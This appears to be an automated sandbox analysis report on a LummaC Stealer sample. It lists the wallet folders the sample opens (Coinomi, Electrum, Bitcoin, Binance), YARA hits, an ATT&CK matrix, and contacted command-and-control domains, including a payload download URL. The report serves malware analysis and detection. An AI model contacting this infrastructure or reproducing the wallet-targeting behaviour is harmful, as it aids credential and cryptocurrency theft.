Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: Yara match	File source: 0.3.TdloJt4gY3.exe.1557989.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1400126860.000000000158C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1473647740.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1474082903.0000000001566000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1446118778.0000000001566000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1471045779.0000000001566000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1400224047.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TdloJt4gY3.exe PID: 7364, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: TdloJt4gY3.exe PID: 7364, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TdloJt4gY3.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
TdloJt4gY3.exe	54%	Virustotal		Browse
TdloJt4gY3.exe	100%	Avira	TR/Crypt.TPM.Gen
TdloJt4gY3.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://lev-tolstoi.com/apiujJy4	100%	Avira URL Cloud	malware
https://cdn.fastly.	0%	Avira URL Cloud	safe
http://185.215.113.16/3	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/ts	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiyNETL	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/a	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apion	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/uoP	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
scentniej.buzz	unknown	unknown	false	high
prisonyfork.buzz	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	false	high
appliacnesot.buzz	unknown	unknown	false	high
hummskitnj.buzz	unknown	unknown	false	high
mindhandru.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	false	high
cashfuzysao.buzz	unknown	unknown	false	high
inherineau.buzz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeX	TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000158C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeV	TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000158C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://store.steampowered.com/subscriber_agreement/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.	TdloJt4gY3.exe, 00000000.00000003.1345996432.000000000158C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Youssef1313	chromecache_105.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_106.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_105.6.dr	false		high
http://www.valvesoftware.com/legal.htm	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_105.6.dr	false		high
https://aka.ms/pshelpmechoose	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_105.6.dr	false		high
https://lev-tolstoi.com/apiyNETL	TdloJt4gY3.exe, 00000000.00000003.1423535009.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422933626.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1423759443.0000000005F63000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422522345.0000000005F64000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiujJy4	TdloJt4gY3.exe, 00000000.00000003.1446519391.0000000005F64000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1446041308.0000000005F61000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/e	TdloJt4gY3.exe, 00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/d	TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/a	TdloJt4gY3.exe, 00000000.00000003.1496241356.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496491209.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/apion	TdloJt4gY3.exe, 00000000.00000003.1474082903.0000000001566000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.0000000001566000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://github.com/Thraka	chromecache_105.6.dr	false		high
https://lev-tolstoi.com/	TdloJt4gY3.exe, 00000000.00000003.1496491209.00000000015AF000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1515384540.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1552685094.00000000015B1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://store.steampowered.com/points/shop/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	TdloJt4gY3.exe, 00000000.00000003.1446990282.0000000005F98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_105.6.dr	false		high
https://schema.org	chromecache_106.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	TdloJt4gY3.exe, 00000000.00000003.1398941177.0000000005FA1000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399040763.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1399203996.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	TdloJt4gY3.exe, 00000000.00000003.1448004131.0000000006077000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_105.6.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	TdloJt4gY3.exe, 00000000.00000003.1448336604.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_125.6.dr, chromecache_106.6.dr	false		high
http://185.215.113.16/off/def.exe	TdloJt4gY3.exe, 00000000.00000003.1607770421.000000000158C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_105.6.dr	false		high
http://185.215.113.16/3	TdloJt4gY3.exe, 00000000.00000003.1607379858.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/%	TdloJt4gY3.exe, 00000000.00000003.1607379858.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/ts	TdloJt4gY3.exe, 00000000.00000003.1496241356.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1496491209.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/try	chromecache_125.6.dr, chromecache_106.6.dr	false		high
https://store.steampowered.com/;	TdloJt4gY3.exe, 00000000.00000003.1345857497.000000000155D000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345996432.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_105.6.dr	false		high
https://steamcommunity.com/my/wishlist/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/uoP	TdloJt4gY3.exe, 00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	TdloJt4gY3.exe, 00000000.00000003.1345634213.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, TdloJt4gY3.exe, 00000000.00000003.1369483820.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
